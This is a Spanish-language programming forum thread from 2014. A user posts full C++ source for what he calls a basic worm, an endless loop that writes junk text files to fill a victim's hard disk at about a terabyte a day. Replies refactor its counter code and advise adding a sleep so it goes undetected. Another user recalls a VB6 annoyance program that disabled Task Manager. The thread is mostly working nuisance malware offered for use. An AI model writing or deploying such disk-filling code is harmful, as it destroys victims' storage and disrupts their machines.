Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: zikotik en 24 Octubre 2014, 07:21 am



Título: Gusano básico en C++
Publicado por: zikotik en 24 Octubre 2014, 07:21 am
Hola gente, hace mucho no publicaba en este foro y era debido a la falta de tiempo. Hoy decidí publicar un pequeño código que armé en C++ que básicamente lo que hace es crear una cantidad enorme de archivos txt cuyos datos internos son datos para ocupar espacio en el hdisk de la pc víctima.

Los archivos van del 0.txt al 999999999999999999999.txt y dentro de cada archivo se aloja una cadena de datos que van desde el 00:00:00 hasta el 99:99:99 más un agregado de datos modificables.

Haciendo los cálculos, en 24 horas se generan un total de 996 GB de archivos basura, es decir, casi 1 TB.

Código:
#include <fstream>
#include <stdlib.h>
#include <string.h>

using namespace std;

int main(){
int nfile = 0;
char hckr[40] = "spk";

while(true){
char fname[24];
itoa(nfile, fname, 10);
strcat(fname, ".txt");
ifstream fseek(fname);

int b = 0;
int c = 0;
int d = 0;
int e = 0;
int f = 0;

if(!fseek.is_open()){
ofstream fo(fname);

for(int a = 0; a <= 9; f++){
if(f > 9){
f = 0;
e++;
}

if(e > 9){
f = 0;
e = 0;
d++;
}

if(d > 9){
f = 0;
e = 0;
d = 0;
c++;
}

if(c > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b++;
}

if(b > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b = 0;
a++;
}

fo << "# data [" << a << b << ":" << c << d << ":" << e << f << "] " << hckr << "\n";
}

fo.close();
} else {
fseek.close();
}

nfile++;
}
}

No sé si definirlo exactamente como un gusano ya que si bien no se duplica a sí mismo ni tampoco se propaga mediante p2p ni nada por el estilo, pero sí tiene la función afectar por lo menos a una parte específica de la pc.

Espero que les sirva de algo el código, y cualquier duda, me preguntan.

PD: NO ME HAGO CARGO DEL USO QUE LE DEN AL MISMO.


Título: Re: Gusano básico en C++
Publicado por: leosansan en 24 Octubre 2014, 12:52 pm


Código:
..........................................
int b = 0;
int c = 0;
int d = 0;
int e = 0;
int f = 0;

if(!fseek.is_open()){
ofstream fo(fname);

for(int a = 0; a <= 9; f++){
if(f > 9){
f = 0;
e++;
}

if(e > 9){
f = 0;
e = 0;
d++;
}

if(d > 9){
f = 0;
e = 0;
d = 0;
c++;
}

if(c > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b++;
}

if(b > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b = 0;
a++;
}
.....................................

PD: NO ME HAGO CARGO DEL USO QUE LE DEN AL MISMO.

UFFFFF!!!!!, muchas variables y demasiados if. ¿Por qué no lo intentas con un array?:

Código
  1. int num [6] = {0} ;
  2.   for( num [0] = 0 ; num [0] <= 9 ; num [5]++ )
  3.       for( i = 1 ; i <  6 ; i++ )
  4.          if ( num [i] > 9 && num [ i - 1 ]++ )
  5.               for( j = i ; j < 6 ; j++ )
  6.                    num [ j ] = 0  ;

¡¡¡¡ Saluditos! ..... !!!!


(http://st.forocoches.com/foro/images/smilies/aaaaa.gif)



Título: Re: Gusano básico en C++
Publicado por: Pablo Videla en 24 Octubre 2014, 16:04 pm
 :xD :xD :xD

Ocupa mucho procesador o ram al momento  de ejecutarlo para que alguien se de cuenta?

Solo pregunto por curiosidad, es una de las formas simples de ser una molestia.


Título: Re: Gusano básico en C++
Publicado por: BloodSharp en 24 Octubre 2014, 16:27 pm
:xD :xD :xD

Ocupa mucho procesador o ram al momento  de ejecutarlo para que alguien se de cuenta?

Solo pregunto por curiosidad, es una de las formas simples de ser una molestia.

Mmm por lo que se vé de código mucha ram no consume pero si un procesador casi entero salvo que le metás un sleep relativamente corto para que no afecte el consumo del procesador y el rendimiento del programa... :P


B#


Título: Re: Gusano básico en C++
Publicado por: Pablo Videla en 24 Octubre 2014, 16:36 pm
Mmm por lo que se vé de código mucha ram no consume pero si un procesador casi entero salvo que le metás un sleep relativamente corto para que no afecte el consumo del procesador y el rendimiento del programa... :P


B#
Si, si van a hacer un cacho para alguien, hay que hacerlo sin ser detectado.


Título: Re: Gusano básico en C++
Publicado por: Kaxperday en 24 Octubre 2014, 18:17 pm
Todo un clásico la verdad es fácil crear un script que joda un ordenador no tiene mucho misterio xD. Pero sí la CPU estará quemando , no es la mejor forma de hacerlo.

Me recuerda a mi programa de DDOS que funciona por X tiempo pero si en ese X tiempo tu ordenador sigue vivo (pues está en bucle infinito hasta que se agote el tiempo) es un milagro casi porque el bucle no para de quemar CPU hasta se me bloqueo el ordenador quizas se podría poner un Sleep(10) cada 5 barridas aunque se perdería mucha potencia.

Pero son posibles soluciones saludos.


Título: Re: Re: Gusano básico en C++
Publicado por: alkage en 25 Octubre 2014, 01:50 am
Mi primer 'programa' era similar a esto en cuanto en el fin de molestar al usuario. (Era en vb6)
Abría ventana tras ventana de el mismo aleatoriamente al mover el mouse para cerrarlo. Desactivaba el adm de tareas para qno se pudiera matar el proceso y solo quedaba reiniciar el equipo para volver a la normalidad.
Lo curioso es que me 'infecte' sin querer con el y tuve que crear luego la 'cura' jajajaja

A lo que voy es q era tan simple destruir, pero fue mas hermoso encontrar una forma de curar lo que había inventado....

 Saludos


Título: Re: Gusano básico en C++
Publicado por: rir3760 en 25 Octubre 2014, 02:18 am
muchas variables y demasiados if. ¿Por qué no lo intentas con un array?
Ya que solo se trata de un contador con la salida NN:NN:NN se puede reducir el numero de bucles a dos y el numero de expresiones mediante un centinela. Un programa para explicarlo mejor (C90):
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3.  
  4. int main(void)
  5. {
  6.   int num[4] = {0}; /* num[0] es un centinela */
  7.   int i;
  8.  
  9.   while (num[0] == 0){
  10.      printf("%02d:%02d:%02d\n", num[1], num[2], num[3]);
  11.  
  12.      for (i = 3; ++num[i] == 100; --i)
  13.         num[i] = 0;
  14.   }
  15.  
  16.   return EXIT_SUCCESS;
  17. }

Un saludo